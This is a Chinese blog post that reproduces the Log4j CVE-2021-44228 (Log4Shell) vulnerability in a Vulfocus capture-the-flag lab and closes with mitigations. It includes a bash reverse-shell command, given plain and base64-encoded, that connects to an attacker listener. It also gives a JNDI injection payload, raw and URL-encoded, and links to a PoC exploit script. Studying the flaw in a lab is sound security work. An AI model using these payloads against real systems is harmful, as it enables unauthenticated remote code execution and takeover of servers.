当前位置:网站首页>CVE-2021-44228 Log4j 复现及原理
CVE-2021-44228 Log4j 复现及原理
2022-07-17 05:03:00 【wavesky111】
一、漏洞概述
2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码,可以让未经身份验证的攻击者获得对目标系统的完全访问权限。
受影响版本:2.0-beta9 <= Apache Log4j <= 2.15.0-rc1
二、漏洞原理
1.Log4j是什么
Apache Log4j 是一个基于Java的日志记录工具。经过多年的开发迭代,Log4j 1.x的维护已经变得非常困难,因为它需要与非常旧的 Java 版本兼容,所以于 2015 年 8 月正式升级为Log4j2。
2.LDAP是什么
轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。
3.JNDI
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
4.Log4j漏洞原理
本次漏洞是因为Log4j2组件中 lookup功能的实现类JndiLookup的设计缺陷导致,这个类存在于log4j-core-xxx.jar中。 简单来说就是因为输入的字符串没有添加限制,只要是符合${形式就可以。详情请膜拜大佬的文章(https://blog.csdn.net/wuyu7448/article/details/121985812)
三、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux
靶机:Vulfocus
四、实验流程
1.开启vulfocus环境,进入漏洞场景;可以看到提供的端口号为11193


2.开启brup抓包,可以看到注入位置在/hello目录下的一个payload位置,并且是get提交的数据

3.开启侦听,端口号设为2333

4.构造攻击payload执行命令反弹shell
原始口令:bash -i >& /dev/tcp/IP/Port 0>&1 (IP:192.168.117.131 Port:2333)
经过base64编码:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9Qb3J0IDA+JjE=}|{base64,-d}|{bash,-i}
原因:由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
5.使用JNDI注入,反弹shell并发送
①这里选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,并选取如图标识出的rmi

②利用漏洞地址去访问本地的JNDI服务
命令:payload=${jndi:获取的rmi} (rmi://192.168.117.131:1099/cwzhna)
URL编码:payload%3D%24%7Bjndi%3Armi%3A%2F%2F192.168.117.131%3A1099%2Fcwzhna%7D

6.查看结果,可以看到反弹shell成功

7.获取flag,复现完成


六、修复方式
1.禁止用户输入的参数中出现攻击关键字(过滤用户输入)
2.设置系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
3.升级到官方最新版本:https://logging.apache.org/log4j/2.x/download.html
七、Poc
1.Poc_CVE-2021-44228 - wavesky - 博客园
2.Poc/Poc_CVE-2021-44228.py at main · wave-to/Poc · GitHub
八、写在后面
刚发现Vulfocus这个漏洞搭建平台,对我这种复现一个漏洞就要花好长时间搭建环境的简直太友好了。搭建过程详情见:https://blog.csdn.net/lza20001103/article/details/124367290
边栏推荐
- 知识图谱de构建与应用(五):知识推理
- Emqx pressure test tread pit for your reference
- tidb 学习
- 高等数学笔记:伍月习题选集
- 摄像头切换
- RestAPI
- [FPGA tutorial case 26] realize the basic operation of decimals through Verilog in FPGA
- Mysql database table a data synchronization to table b
- ThinkPHP official website tutorial
- Redis cluster interview questions
猜你喜欢

Freshman task-5

【Lipschitz】基于matlab的Lipschitz李氏指数仿真

Tidb performance optimization overview

Project team summer vacation summary 02

DSL search results processing, including sorting, paging, highlighting

一文了解定时任务

Basic operations of index library operation

Constraints on MySQL tables (Basics)
[论文精读]BERT

负载均衡器ribbon实战
随机推荐
itext修改pdf文字
接口的参数返回封装类Result
And predicts that nerf will eventually replace deepfake
超链接实现post方式提交
Tidb learning
Emqx pressure test tread pit for your reference
邮箱发送邮件(包含附件,网易、QQ)
OLTP 负载性能优化实践
银行联行号cnasp&查询(二)
Common PostgreSQL data operation notes (updated from time to time)
Multiple connections will be maintained for each provider instance
2022 latest version of campus errand applet source code
3. Restclient query document
浅聊全局过滤器
【Lipschitz】基于matlab的Lipschitz李氏指数仿真
摄像头切换
Notes on Advanced Mathematics: selected exercises of Wu Yue
Declaration and definition of template class
知识图谱de构建与应用(七):大规模知识图谱预训练
微众对接机制备忘